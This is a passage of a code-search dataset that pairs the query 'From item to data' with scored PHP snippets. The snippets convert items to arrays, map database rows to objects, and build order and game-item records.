"0.47626", "text": "public function getCss() {\n\t\t\treturn $this->getRequire(\"getCss\",\".css\");\n\t\t}", "title": "" }, { "docid": "fca16eed9706e2acf92e444605c324f7", "score": "0.47560048", "text": "protected static function css_path(){}", "title": "" }, { "docid": "71081df966fb7a8e766c20ad50687240", "score": "0.47548917", "text": "private function SetStyleSheet()\n {\n return $this->styleSheet;\n }", "title": "" }, { "docid": "3cb26609a768924503996a271f2983ee", "score": "0.47418883", "text": "protected function parseRules()\n {\n // set 'parsed'\n $this->parsed = true;\n\n // parsed rules\n $parsedRules = [];\n\n // start to parse\n foreach ($this->rules as $path => $rules) {\n if (is_numeric($path)) {\n $path = '*';\n }\n\n if (!isset($parsedRules[$path])) {\n $parsedRules[$path] = [];\n }\n\n foreach ((array) $rules as $rule) {\n $rule = $this->replacePairsWildcard($rule);\n $template = $this->getTemplate($rule);\n\n $rule = $this->quoteRule($rule);\n $array = $this->parseStandardRule($rule);\n\n $pattern = $array['pattern'];\n $parsedRules[$path][$pattern] = [\n 'template' => $template,\n 'allParams' => $array['allParams'],\n 'requiredParams' => $array['requiredParams'],\n 'paramsRegExp' => $array['paramsRegExp'],\n ];\n }\n }\n\n $this->parsedRules = $parsedRules;\n return $this;\n }", "title": "" }, { "docid": "ade37ab03f1dae5f9bd08f9ea298ff11", "score": "0.47397387", "text": "public function isStylesheet(){\n return ($this->fileType === 'css');\n }", "title": "" } ]
a21b5a96c8e1698c8c93195f862a660d
From item to data
[ { "docid": "8f4f456d2fd61e738b6571f15a8b726f", "score": "0.67356175", "text": "protected function itemToData($item)\n\t{\n\t\t$data = [];\n\t\tforeach ($item as $property => $value) {\n\t\t\t$data[$property] = $value;\n\t\t}\n\t\treturn $data;\n\t}", "title": "" } ]
[ { "docid": "282e7a5a6a91bccb61edfb1b99b8d0d4", "score": "0.679665", "text": "protected function transform($item) {\n $resource = $this->createItemResource($item);\n\n return $this->fractal->createData($resource)->toArray();\n }", "title": "" }, { "docid": "737684eac947697da8dd468cdf82d106", "score": "0.6742637", "text": "public function convertFromDb($item) {\n\t\t$this->id = $item['item_id'];\n\t\t$this->feed_id = $item['feed_id'];\n\t\t$this->service = $item['service'];\n\t\t$this->timestamp = $item['timestamp'];\n\t\t$this->author = $item['author'];\n\t\t$this->author_id = $item['author_id'];\n\t\t$this->author_data = @unserialize($item['author_data']);\n\t\t$this->link = $item['link'];\n\t\t\n\t\t$this->title = $item['title'];\n\t\t$this->content = $item['content'];\n\t\t$this->data = @unserialize($item['data']);\n\t}", "title": "" }, { "docid": "d7a74094d46dd93bb92585e7382adf66", "score": "0.6607713", "text": "public abstract function transform($item);", "title": "" }, { "docid": "97eb6229b24907a465474db17fd2a2f5", "score": "0.64868325", "text": "protected function dataToItem($data)\n\t{\n\t\t$item = new $this->objectClass;\n\t\tforeach ($data as $property => $value) {\n\t\t\t$item->$property = $value;\n\t\t}\n\t\treturn $item;\n\t}", "title": "" }, { "docid": "aa1d81ac1b1fddcab36ca31957887775", "score": "0.6480231", "text": "abstract function transformItem($data, $api = null);", "title": "" }, { "docid": "4d4eb8c286f5840f5eb87ae772513002", "score": "0.6432707", "text": "public static function cast_to_content_item($data) {\n if (($data instanceof ContentItem) == false) {\n $content_item = new ContentItem;\n $content_item->name = $data['name'];\n $content_item->box_hidden=$data['box_hidden'];\n $content_item->meta = $data['meta'];\n \n for ($i = 0; $i < count($data['data']); $i++) {\n $content_item->data[]=static::cast_to_datum($data['data'][$i]);\n }\n\n return $content_item;\n }else\n return $data;\n }", "title": "" }, { "docid": "a5bf94948d76045d4c070ff42f80ba02", "score": "0.61950564", "text": "private function itemToData(Task $item)\n\t{\n\t\t$data = [];\n\n\t\tforeach ($this->mapItemPropertySQLNames() as $property => $columnSql) {\n\t\t\t$data[$columnSql] = $item->$property;\n\t\t}\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "af1c14bafcf57f19310ed3de3da04d84", "score": "0.61625355", "text": "abstract public function populate_from_post_data( $item = null );", "title": "" }, { "docid": "184186073995ef4e76e4ca95e8261d75", "score": "0.6151178", "text": "public function populate($item);", "title": "" }, { "docid": "4f64543301dc1de62c774bfe08083d8e", "score": "0.60974365", "text": "protected function dataToItem($data)\n\t{\n\t\t$item = new Task;\n\n\t\tforeach ($this->mapItemPropertySQLNames() as $property => $columnSql) {\n\t\t\t$item->$property = $data->$columnSql;\n\t\t}\n\n\t\t$this->loadActions($item);\n\t\t$this->loadConditions($item);\n\t\treturn $item;\n\t}", "title": "" }, { "docid": "7849730eedeb1ad247e0a9bbc879191b", "score": "0.6096614", "text": "abstract public function transform( $item ) : array;", "title": "" }, { "docid": "6dd3d7cae6442e03de043690eb22362b", "score": "0.6063515", "text": "public function transform($data)\n {\n if ($data instanceof Transformable) {\n $resource = new Item($data, $data->getTransformer());\n }\n\n if (isset($resource) && $resource instanceof ResourceInterface) {\n $fractal = app()->make(Manager::class);\n $data = $fractal->createData($resource);\n }\n\n if (method_exists($data, 'toArray')) {\n $data = $data->toArray();\n }\n\n return $data;\n }", "title": "" }, { "docid": "a48247aedb61feda160b434b2979d4e9", "score": "0.6008183", "text": "function toItemArray();", "title": "" }, { "docid": "6344c84860d996e3206da5bdd64b174a", "score": "0.58280885", "text": "public function parse($item);", "title": "" }, { "docid": "88d5ad6244466b6c523cd5b0fb679a67", "score": "0.57600033", "text": "private function getItemData()\n\t{\n\t\t// Load constants\n\t\t$this->load->config(\"tooltip_constants\");\n\t\t$this->load->config(\"translation\");\n\t\t\n\t\t// Assign them\n\t\t$bind = $this->config->item(\"bind\");\n\t\t$slots = $this->config->item(\"slots\");\n\t\t$damages = $this->config->item(\"damages\");\n\n\t\t// Load the realm\n\t\t$realmObj = $this->realms->getRealm($this->realm);\n\n\t\t// Get the item SQL data\n\t\t$item = $this->getItem($this->id);\n\t\t\n\t\t// No item was found\n\t\tif (!$item || $item == \"empty\")\n\t\t{\n\t\t\tdie($this->config->item('unknown_item'));\n\t\t}\n\t\t\n\t\t// Set the additional data\n\t\t$this->additionalData = array('itemset' => $item['itemset'], 'socketBonus' => $item['socketBonus']);\n\t\t\n\t\t// Set the flags\n\t\t$this->flags = $this->getFlags($item['Flags']);\n\t\t\n\t\tif (isset($item['FlagsExtra']))\n\t\t\t$this->extraFlags = $this->getFlags($item['FlagsExtra']);\n\n\t\t$this->item['name'] = $item['name'];\n\t\t\n\t\t// Support custom colors\n\t\tif(preg_match(\"/\\|cff/\", $item['name']))\n\t\t{\n\t\t\twhile(preg_match(\"/\\|cff/\", $this->item['name']))\n\t\t\t{\n\t\t\t\t$this->item['name'] = preg_replace(\"/\\|cff([A-Za-z0-9]{6})(.*)(\\|cff)?/\", '<span style=\"color:#$1;\">$2</span>', $this->item['name']);\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->item['quality'] = $item['Quality'];\n\t\t$this->item['bind'] = $bind[$item['bonding']];\n\t\t$this->item['unique'] = ($this->hasFlag(524288)) ? \"Unique-Equipped\" : null;\n\t\t$this->item['isHeroic'] = ($this->hasFlag(8)) ? true : false;\n\t\t$this->item['slot'] = $slots[$item['InventoryType']];\n\t\t$this->item['durability'] = $item['MaxDurability'];\n\t\t$this->item['required'] = $item['RequiredLevel'];\n\t\t$this->item['level'] = $item['ItemLevel'];\n\t\t$this->item['type'] = $this->getType($item['class'], $item['subclass']);\n\t\t$this->item['damage_type'] = (array_key_exists(\"dmg_type1\", $item)) ? $damages[$item['dmg_type1']] : false;\n\t\t\n\t\tif(array_key_exists(\"dmg_min1\", $item))\n\t\t{\n\t\t\t$this->item['damage_min'] = $item['dmg_min1'];\n\t\t\t$this->item['damage_max'] = $item['dmg_max1'];\n\t\t}\n\t\t// For SkyFire: calculate weapon damage manually\n\t\telse if($item['class'] == 2)\n\t\t{\n\t\t\t//override stat scaling faction, skyfire has all values 0\n\t\t\tif (!isset($item['StatScalingFactor']) || (int)$item['StatScalingFactor'] == 0)\n\t\t\t\t$item['StatScalingFactor'] = 1;\n\t\t\t\n\t\t\tif ($dmg = $this->getItemDamage($item['ItemLevel'], $item['class'], $item['subclass'], $item['Quality'], $item['delay'], $item['StatScalingFactor'], $item['InventoryType']))\n\t\t\t{\n\t\t\t\t$this->item['damage_min'] = $dmg['damage_min'];\n\t\t\t\t$this->item['damage_max'] = $dmg['damage_max'];\n\t\t\t\t$this->item['dps'] = $dmg['dps'];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->item['damage_min'] = false;\n\t\t\t\t$this->item['damage_max'] = false;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->item['damage_min'] = false;\n\t\t\t$this->item['damage_max'] = false;\n\t\t}\n\t\t\n\t\tif (array_key_exists(\"armor\", $item))\n\t\t{\n\t\t\t$this->item['armor'] = $item['armor'];\n\t\t}\n\t\t//Handle armor for skyfire\n\t\telse if ($item['class'] == 4)\n\t\t{\n\t\t\tif ($armor = $this->getItemArmor($item['ItemLevel'], $item['class'], $item['subclass'], $item['Quality'], $item['InventoryType']))\n\t\t\t{\n\t\t\t\t$this->item['armor'] = $armor;\n\t\t\t}\n\t\t\telse\n\t\t\t\t$this->item['armor'] = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->item['armor'] = false;\n\t\t}\n\t\t\t\n\t\t$this->item['spells'] = $this->getSpells($item);\n\t\t$this->item['attributes'] = $this->getAttributes($item);\n\t\t$this->item['holy_res'] = (array_key_exists(\"holy_res\", $item)) ? $item['holy_res'] : $this->getAttributeById(53, $item);\n\t\t$this->item['fire_res'] = (array_key_exists(\"fire_res\", $item)) ? $item['fire_res'] : $this->getAttributeById(51, $item);\n\t\t$this->item['nature_res'] = (array_key_exists(\"nature_res\", $item)) ? $item['nature_res'] : $this->getAttributeById(55, $item);\n\t\t$this->item['frost_res'] = (array_key_exists(\"frost_res\", $item)) ? $item['frost_res'] : $this->getAttributeById(52, $item);\n\t\t$this->item['shadow_res'] = (array_key_exists(\"shadow_res\", $item)) ? $item['shadow_res'] : $this->getAttributeById(54, $item);\n\t\t$this->item['arcane_res'] = (array_key_exists(\"arcane_res\", $item)) ? $item['arcane_res'] : $this->getAttributeById(56, $item);\n\t\t$this->item['speed'] = ($item['delay'] > 0) ? ($item['delay'] / 1000) . \"0\": 0;\n\t\t\n\t\tif (!isset($this->item['dps']))\n\t\t\t$this->item['dps'] = $this->getDPS($this->item['damage_min'], $this->item['damage_max'], $this->item['speed']);\n\t\t\t\n\t\t$this->item['sockets'] = $this->getSockets($item);\n\t\t$this->item['socketBonus'] = $this->getSocketBonus();\n\t\t$this->item['itemSet'] = $this->getItemSet();\n\t}", "title": "" }, { "docid": "400e9f51fc0934b89ac608c35bbb097b", "score": "0.5759599", "text": "public function data() {\r\n return $this->item;\r\n }", "title": "" }, { "docid": "626cc00dc1a55f6354d0cb1cd1bc3111", "score": "0.57524633", "text": "private function processItem($item)\n {\n $rows = $item->find('tr');\n $data = array();\n $data['legal_name'] = $rows[0]->find('td',0)->find('strong',0)->innertext; // obchodní firma\n $data['ico'] = $rows[0]->find('td',1)->find('strong',0)->plaintext; // ICO\n $data['record_mark'] = $rows[1]->find('td',0)->plaintext; // spisová značka \n $data['origin_date'] = $rows[1]->find('td',1)->innertext; // den zápisu\n $data['address_full'] = $rows[2]->find('td',0)->plaintext; // sídlo\n // edit data\n $data['legal_name'] = trim($data['legal_name']);\n $data['ico'] = str_replace(' ', '', $data['ico']);\n $data['record_mark'] = trim($data['record_mark']);\n $data['origin_date'] = trim($data['origin_date']);\n $data['address_full'] = trim(str_replace('&nbsp;', ' ', $data['address_full']));\n // link to the complete statement from register\n $links = $item->find('ul[class=result-links noprint]',0);\n $link = $links->find('a',0)->href;\n $url = str_replace('&amp;', '&', $link);\n $data['statement_url'] = 'https://or.justice.cz'.$url; // kompletní výpis z rejstříku \n \n return $data;\n }", "title": "" }, { "docid": "392fc56acaed0e15d89fd662dec80d47", "score": "0.57462996", "text": "public function transform(Item $item): array {\n\n return [\n 'id' => $item->id,\n 'item_id' => $item->id,\n 'description' => $item->description,\n 'affix_name' => $item->affix_name,\n 'base_damage' => $item->getTotalDamage(),\n 'base_ac' => $item->getTotalDefence(),\n 'base_healing' => $item->getTotalHealing(),\n 'base_damage_mod' => is_null($item->base_damage_mod) ? 0.0 : $item->base_damage_mod,\n 'base_ac_mod' => $item->base_ac_mod,\n 'base_healing_mod' => $item->base_healing_mod,\n 'str_modifier' => $item->getTotalPercentageForStat('str'),\n 'dur_modifier' => $item->getTotalPercentageForStat('dur'),\n 'int_modifier' => $item->getTotalPercentageForStat('int'),\n 'dex_modifier' => $item->getTotalPercentageForStat('dex'),\n 'chr_modifier' => $item->getTotalPercentageForStat('chr'),\n 'agi_modifier' => $item->getTotalPercentageForStat('agi'),\n 'focus_modifier' => $item->getTotalPercentageForStat('focus'),\n 'type' => $item->type,\n 'default_position' => $item->default_position,\n 'crafting_type' => $item->crafting_type,\n 'skill_level_req' => $item->skill_level_required,\n 'skill_level_trivial' => $item->skill_level_trivial,\n 'cost' => SellItemCalculator::fetchSalePriceWithAffixes($item),\n 'shop_cost' => $item->cost,\n 'base_damage_mod_bonus' => $item->base_damage_mod_bonus,\n 'base_healing_mod_bonus' => $item->base_healing_mod_bonus,\n 'base_ac_mod_bonus' => $item->base_ac_mod_bonus,\n 'fight_time_out_mod_bonus' => $item->getTotalFightTimeOutMod(),\n 'resurrection_chance' => $item->resurrection_chance,\n 'spell_evasion' => $item->spell_evasion,\n 'artifact_annulment' => $item->artifact_annulment,\n 'is_unique' => $item->is_unique,\n 'is_mythic' => $item->is_mythic,\n 'affix_count' => $item->affix_count,\n 'min_cost' => SellItemCalculator::fetchMinPrice($item),\n 'holy_level' => $item->holy_level,\n 'holy_stacks' => $item->holy_stacks,\n 'holy_stack_devouring_darkness' => $item->holy_stack_devouring_darkness,\n 'holy_stack_stat_bonus' => $item->holy_stack_stat_bonus,\n 'holy_stacks_applied' => $item->holy_stacks_applied,\n 'ambush_chance' => $item->ambush_chance,\n 'ambush_resistance_chance' => $item->ambush_resistance,\n 'counter_chance' => $item->counter_chance,\n 'counter_resistance_chance' => $item->counter_resistance,\n 'str_reduction' => $item->getAffixAttribute('str_reduction'),\n 'dur_reduction' => $item->getAffixAttribute('dur_reduction'),\n 'dex_reduction' => $item->getAffixAttribute('dex_reduction'),\n 'chr_reduction' => $item->getAffixAttribute('chr_reduction'),\n 'int_reduction' => $item->getAffixAttribute('int_reduction'),\n 'agi_reduction' => $item->getAffixAttribute('agi_reduction'),\n 'focus_reduction' => $item->getAffixAttribute('focus_reduction'),\n 'reduces_enemy_stats' => $item->getAffixAttribute('reduces_enemy_stats'),\n 'resistance_reduction' => $item->getAffixAttribute('resistance_reduction'),\n 'steal_life_amount' => $item->getAffixAttribute('steal_life_amount'),\n 'entranced_chance' => $item->getAffixAttribute('entranced_chance'),\n 'damage' => $item->getAffixAttribute('damage'),\n 'class_bonus' => $item->getAffixAttribute('class_bonus'),\n 'skills' => $item->getItemSkills(),\n ];\n }", "title": "" }, { "docid": "9145ec6bae235d27111be787a6ae5d4f", "score": "0.57328665", "text": "abstract public function transform_userdata( $data );", "title": "" }, { "docid": "d10dc2718d04ccce0ff405706e827ec1", "score": "0.56677043", "text": "public function marshalItem($item)\n {\n return current($this->marshalValue($item));\n }", "title": "" }, { "docid": "d6cd78460e93a21882317ee1e4bebd98", "score": "0.56616104", "text": "private function processQueueItemForTable(\\stdClass $item1) {\n $entry = unserialize($item1->data); \n \\Drupal::logger('mccserver')->notice('unseialized array');\n \\Drupal::logger('mccserver')->notice(print_r($entry,true));\n $item['content'] = $entry['title'] .' ('.$entry['type'].')' ;\n return $item;\n }", "title": "" }, { "docid": "8f1bffdf9ae1778b7fbcd65894ee9dc2", "score": "0.561585", "text": "public function transform($item)\n {\n return [\n 'id' => $item['id'],\n 'user_id' => $item['user_id'],\n 'role_id' => $item['role_id']\n ];\n }", "title": "" }, { "docid": "477ab5f321c2d8d062529a491536a64f", "score": "0.5599155", "text": "public function toItem(Itemable $itemable, array $attributes = []): Item;", "title": "" }, { "docid": "619638bb67b4f897dd502043dac7f9fc", "score": "0.5591112", "text": "public function makeItem($item): Item\n {\n return Item::fromNative($item);\n }", "title": "" }, { "docid": "7befa22743dde09a4e3da1ff070d223a", "score": "0.55250186", "text": "protected function mapDataset($dataset) {\r\n\t\t$item=new Curly_Content_Item($this);\r\n\t\treturn $item\r\n\t\t\t->setID($dataset->id)\r\n\t\t\t->setCreated(new DateTime($dataset->created, $this->GMT))\r\n\t\t\t->setUpdated(new DateTime($dataset->updated, $this->GMT))\r\n\t\t\t->setMimetype(Curly_MimeType::fromString($dataset->mimetype));\r\n\t}", "title": "" }, { "docid": "fe67817911c1d74dc0f9ed93b6a83f8f", "score": "0.5509917", "text": "abstract public function transform($data);", "title": "" }, { "docid": "ce035918354802246125cbb99efa20bf", "score": "0.54855424", "text": "public function transform($item): array\n {\n return [\n 'id' => (int)$item->id,\n 'uuid' => (string)$item->uuid,\n 'value' => (float)$item->value,\n 'balance' => (float)$item->balance,\n 'expiry_date' => isset($item->expiry_date) ? $item->expiry_date->toDateTimeString() : '',\n 'user_id' => (int)$item->user_id,\n 'user' => $item->user,\n 'card_number' => (string)$item->card_number,\n 'created_at' => isset($item->created_at) ? $item->created_at->toDateTimeString() : '',\n 'active' => (boolean)$item->active\n ];\n }", "title": "" }, { "docid": "2ad36162fa4543f1b6a0834975eba896", "score": "0.54758227", "text": "function _subitem_to_object(&$subitems) {\r\n if (count($subitems)) {\r\n foreach ($subitems as &$item) {\r\n $item = (object)$item;\r\n $item->setting = (object)$item->setting;\r\n _subitem_to_object($item->subItems);\r\n }\r\n }\r\n}", "title": "" }, { "docid": "64b13aad828d6c8524a573b4c01fa8cf", "score": "0.5425551", "text": "public function transform(Items $items) \n\t{\n\t\treturn [\n\t 'id' => (int) $items->id,\n\t 'name' => $items->name,\n\t 'email' => $items->email,\n\t 'address' => $items->address,\n\t 'author' => [\n\t \t'name' => $items->name,\n\t \t'email' => $items->email,\n\t ],\n 'links' => [\n [\n 'rel' => 'self',\n 'uri' => '/items/'.$items->id,\n ]\n ],\n\t ];\n\t}", "title": "" }, { "docid": "913cb2bf4227a2d72bd46c31eceeda12", "score": "0.54021454", "text": "function createItem(array $data): array\n{\n return [\n 'id' => $data['id'],\n 'text' => $data['text'],\n 'checked' => $data['checked'],\n ];\n}", "title": "" }, { "docid": "6264eb75e036313817200e1a48a97164", "score": "0.5395092", "text": "public function itemToOrderItem(Item $item)\n {\n $date = new Date();\n $time = $date->gmtDate();\n $orderItem = new SalesFlatOrderItem();\n $orderItem->lsin = $item->getlsin();\n $orderItem->name = $item->getName();\n $orderItem->brand = $item->getBrand();\n $orderItem->sku = $item->getSku();\n $orderItem->specification = $item->getSpecification();\n $orderItem->barcode = $item->getBarcode();\n $orderItem->first_category_id = $item->getFirstCategoryId();\n $orderItem->second_category_id = $item->getSecondCategoryId();\n $orderItem->third_category_id = $item->getThirdCategoryId();\n $orderItem->image = $item->getImage();\n $orderItem->wholesaler_id = $item->getWholesalerId();\n $orderItem->product_id = $item->getProductId();\n $orderItem->product_type = $item->getProductType();\n $orderItem->row_total = $item->getRowTotal();\n $orderItem->price = $item->getPrice();\n $orderItem->original_price = $item->getOriginalPrice();\n $orderItem->product_options = $item->getProductOptions();\n $orderItem->tags = $item->getTags();\n $orderItem->qty = $item->getQty();\n $orderItem->is_calculate_lelai_rebates = $item->getIsCalculateLelaiRebates() ? $item->getIsCalculateLelaiRebates() : 0;\n $orderItem->rebates = $item->getRebates();\n $orderItem->rebates_calculate = $item->getRowTotal() * $item->getRebatesAll() / 100;\n $orderItem->commission = $item->getRowTotal() * $item->getCommission() / 100;\n $orderItem->commission_percent = $item->getCommission();\n $orderItem->created_at = $time;\n $orderItem->updated_at = $time;\n $orderItem->subsidies_wholesaler = $item->getSubsidiesWholesaler();\n $orderItem->subsidies_lelai = $item->getSubsidiesLelai();\n $orderItem->origin = $item->getOrigin();\n $orderItem->promotion_text = $item->getPromotionText();\n $orderItem->buy_path = $item->getBuyPath();\n $orderItem->activity_id = (int)$item->getActivityId();\n $orderItem->additional_info = $item->getAdditionalInfo();\n $orderItem->sales_type = $item->getSalesTypes();\n\n // 套餐商品\n if ($item->getProductType() & SalesFlatOrderItem::PRODUCT_TYPE_GROUP) {\n $orderItem->relativeProducts = $item->getRelativeProducts();\n }\n\n if ($item->getRuleApportion()) {\n $orderItem->rule_apportion = $item->getRuleApportion();\n }\n if ($item->getRuleApportionLelai()) {\n $orderItem->rule_apportion_lelai = $item->getRuleApportionLelai();\n }\n if ($item->getRuleApportionWholesaler()) {\n $orderItem->rule_apportion_wholesaler = $item->getRuleApportionWholesaler();\n }\n if ($item->getRuleApportionOrderActLelai()) {\n $orderItem->rule_apportion_order_act_lelai = $item->getRuleApportionOrderActLelai();\n }\n if ($item->getRuleApportionOrderCouponLelai()) {\n $orderItem->rule_apportion_order_coupon_lelai = $item->getRuleApportionOrderCouponLelai();\n }\n if ($item->getRuleApportionProductsActLelai()) {\n $orderItem->rule_apportion_products_act_lelai = $item->getRuleApportionProductsActLelai();\n }\n if ($item->getRuleApportionProductsCouponLelai()) {\n $orderItem->rule_apportion_products_coupon_lelai = $item->getRuleApportionProductsCouponLelai();\n }\n\n // 当时乐来对这个商品的返点百分比,会计算平台返点与平台单独对这个商品的返点和\n // 如果is_calculate_lelai_rebates为真,则直接取平台全局乐来返点值,否则取rebates_lelai字段\n $orderItem->rebates_lelai = $orderItem->is_calculate_lelai_rebates ? $item->getLelaiRebates() : $item->getRebatesLelai();\n\n // 乐来对这行商品的补贴\n $orderItem->rebates_calculate_lelai = $item->getRowTotal() * $orderItem->rebates_lelai / 100;\n\n return $orderItem;\n }", "title": "" }, { "docid": "0812e5d56a67450337fbcd17d80ffef5", "score": "0.53839743", "text": "function parse_item($post)\n{\n $item = [];\n $item['category'] = $post['category'];\n $item['description'] = $post['description'];\n $item['name'] = $post['name'];\n $item['price'] = $post['price'];\n $item['quantity'] = $post['quantity'];\n $item['serial_code'] = $post['serial_code'];\n\n return $item;\n}", "title": "" }, { "docid": "2e56f13d1f9c64370398c7c49c832a00", "score": "0.5383245", "text": "private function data_to_self($data)\n\t{\n\t\t//$class = get_called_class();\n\t\t$class = $this->getClass();\n\t\t\n\t\t$temp = new $class();\n\t\t$temp_list = (array) $temp;\n\t\tforeach($temp_list as $k=>$v):\n\t\t\tif(isset($data[$k]))\n\t\t\t\t$temp->{$k} = $data[$k];\n\t\tendforeach;\n\t\treturn $temp;\n\t}", "title": "" }, { "docid": "b8ff2fbbc80a2039c23fb21710ce5835", "score": "0.53779244", "text": "abstract protected function extractFromData($data);", "title": "" }, { "docid": "31ae551bcb3a70808baeeb54b608cec6", "score": "0.53766835", "text": "public function transformElement(Element $element)\n {\n $transformer = $this->getTransformer();\n $resource = new Item($element, $transformer);\n $fractal = new Manager();\n $fractal->setSerializer(new ArraySerializer());\n $data = $fractal->createData($resource)->toArray();\n // Make sure the objectID is set for Algolia\n $data['objectID'] = $element->id;\n return $data;\n }", "title": "" }, { "docid": "ffdf0ce0ddc117ed575189c9d502af31", "score": "0.53691304", "text": "public function prepare(){\n\t\tif(is_array($this->params['items'])){\n\t\t\t$this->items=array();\n\t\t\tforeach($this->params['items'] as $k=>$v){\n\t\t\t\t$this->items[$k]=$v;\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "22954212546a88791751f2a76b6e4b87", "score": "0.536155", "text": "public function transform(Member $item) {\n return [\n 'id' => (int) $item->id,\n 'first_name' => (string) $item->first_name,\n 'last_name' => (string) $item->last_name,\n 'mobile_number' => (int) $item->mobile_number,\n 'crm_center_id' => (string) $item->crm_center_id,\n 'crm_customer_id' => (string) $item->crm_customer_id,\n 'dietician_username' => (string) $item->dietician_username,\n// 'id' => (int)$item->id,\n// 'created_at' => (string)$item->created_at,\n// 'updated_at' => (string)$item->updated_at,\n ];\n }", "title": "" }, { "docid": "a3e029006129d25daa6f7882a88ef262", "score": "0.53602993", "text": "protected function getItemData($item)\n {\n $title = $item->title;\n $text = $item->description;\n $url = $item->guid;\n\n $pubDate = strtotime($item->pubDate);\n $date = date('Y-m-d H:i:s', ($pubDate ? $pubDate : time()));\n\n return compact('title', 'text', 'url', 'date');\n }", "title": "" }, { "docid": "03271327fb2729076a1068265561d7e8", "score": "0.5352509", "text": "private function convertArrayItem($item)\n {\n if ($item instanceof self) {\n return $item->toArray();\n }\n\n if (!is_array($item)) {\n return $item;\n }\n\n return $this->convertToArray($item);\n }", "title": "" }, { "docid": "d68f0c26efbef953e13ed09e55380489", "score": "0.5338419", "text": "public function toFeedItem() {\n\t\treturn FeedItem::create([\n\t\t\t'id' => $this->id,\n\t\t\t'title' => $this->title,\n\t\t\t'summary' => $this->content_html,\n\t\t\t'updated' => $this->updated_at,\n\t\t\t'link' => $this->slug,\n\t\t\t'author' => $this->author,\n\t\t]);\n\t}", "title": "" }, { "docid": "450520f84e6333b5bc073a9f3e5c2325", "score": "0.53295684", "text": "public function transform(User $item)\n {\n $data = $this->transformFromModel($item, $this->pivotAttributes);\n $data[\"is_doctor\"] = !!$item->doctor;\n $data[\"is_patient\"] = !!$item->patient;\n return $data;\n }", "title": "" }, { "docid": "aa11c8e603e35ea0d0cc3288c55f0a6e", "score": "0.53266174", "text": "private function setItemInfo($Item, $ItemInfo){\n $Item->name = $ItemInfo['name'];\n $Item->code = $ItemInfo['code'];\n $Item->image = $ItemInfo['image'];\n $Item->unit_id = $ItemInfo['unit_id'];\n $Item->itemcategory_id = $ItemInfo['itemcategory_id'];\n $Item->lead_time = $ItemInfo['lead_time'];\n $Item->attach_file = $ItemInfo['attach_file'];\n $Item->remark = $ItemInfo['remark'];\n \treturn $Item;\n }", "title": "" }, { "docid": "239c9dc65cb07cd0ac7800fd89023ca6", "score": "0.532133", "text": "protected function loadItem(&$obj, $item) {\n\t\tswitch ($item) {\n\t\t\tcase 'id':\n\t\t\t\t$this->id = (int)$obj['id'];\n\t\t\t\treturn true;\n\t\t\tcase 'published':\n\t\t\t\t$this->published = $obj['published'];\n\t\t\t\treturn true;\n\t\t\tcase 'name':\n\t\t\t\t$this->name_ru = $obj['name_ru'];\n\t\t\t\t$this->name_ua = $obj['name_ua'];\n\t\t\t\treturn true;\n\t\t\tcase 'alias':\n\t\t\t\t$this->alias_ru = $obj['alias_ru'];\n\t\t\t\t$this->alias_ua = $obj['alias_ua'];\n\t\t\t\treturn true;\n\t\t\tcase 'created':\n\t\t\t\t$this->created = new \\Brilliant\\BDateTime($obj['created']);\n\t\t\t\treturn true;\n\t\t\tcase 'modified':\n\t\t\t\t$this->modified = new \\Brilliant\\BDateTime($obj['modified']);\n\t\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "3020acdfe229a751b880cdc8d521990f", "score": "0.5316923", "text": "public static function cast_to_content($data) {\n if (($data instanceof Content) == false) {\n \n \n $content = new Content;\n $content->style = $data['style'];\n\n for ($i = 0; $i < count($data['content_items']); $i++) {\n $content->content_items[]=static::cast_to_content_item($data['content_items'][$i]);\n }\n\n return $content;\n }else\n return $data;\n }", "title": "" }, { "docid": "3c1371a0aa791ab43c5be0708116423c", "score": "0.5313706", "text": "function fromXML(&$item, $questionpool_id, &$tst_id, &$tst_object, &$question_counter, &$import_mapping)\n\t{\n\t}", "title": "" }, { "docid": "06d5190a2f3c38fc759f7c66c3fa8349", "score": "0.53110886", "text": "public function setItemsValues()\n {\n $ids = array();\n foreach($this->items as $item) {\n $ids[] = $item->event_id;\n }\n\n $this->getItemValues($ids);\n $this->checkValues();\n foreach($this->items as $id=>$item) {\n foreach($this->isset_fields as $f) {\n if (!$f->published)\n continue;\n $this->items[$id]->subfields->{$f->name} = $this->findValue($item->event_id, $f->id);\n }\n }\n }", "title": "" }, { "docid": "37aa8812cead6d02b54228e811f0a789", "score": "0.53109044", "text": "protected static function prepareGetItemsData()\n\t{\t}", "title": "" }, { "docid": "556ec98bba99a177392dfc2d09e1d0e5", "score": "0.5310454", "text": "protected function convert()\n {\n $this->is_object = true;\n return $this->toArray();\n }", "title": "" }, { "docid": "937d9156014a41bb7dcd84f1a09eb251", "score": "0.52948", "text": "public function setItemsValuesAdm()\n {\n $ids = array();\n foreach($this->items as $item) {\n $ids[] = $item->id;\n }\n\n $this->getItemValues($ids);\n $this->checkValues();\n\n foreach($this->items as $id=>$item) {\n foreach($this->isset_fields as $f) {\n if (!$f->published)\n continue;\n $this->items[$id]->subfields->{$f->name} = $this->findValue($item->id, $f->id);\n }\n }\n }", "title": "" }, { "docid": "de7a12a823d4692793945b6f42bbcce3", "score": "0.52921337", "text": "abstract public function setItems($result);", "title": "" }, { "docid": "9a85044917122f8f4bbe406e834a6199", "score": "0.5274767", "text": "public function setItemValues($convert = false)\n {\n if (!$this->item->id)\n return;\n\n $values = $this->getItemValues($this->item->id);\n\n if ($convert) {\n $this->checkValues();\n }\n\n $this->item->fields = new stdClass();\n foreach($values as $v) {\n $name = $this->findFieldNameById($v->field_id);\n if ($convert)\n $this->item->fields->{$name} = $v->value;\n else\n $this->item->{$name} = $v->value;\n }\n }", "title": "" }, { "docid": "36a479d99d68a0033e860add5dddc7f2", "score": "0.5266507", "text": "public function writeItem($item)\n {\n $this->data[] = $item;\n }", "title": "" }, { "docid": "8d18f0feab82d14cad17326a47146ac4", "score": "0.5250454", "text": "public function transform($data);", "title": "" }, { "docid": "8d18f0feab82d14cad17326a47146ac4", "score": "0.5250454", "text": "public function transform($data);", "title": "" }, { "docid": "7272e7855e18ee2fbe8cb7c7e738e8ad", "score": "0.5249441", "text": "public function 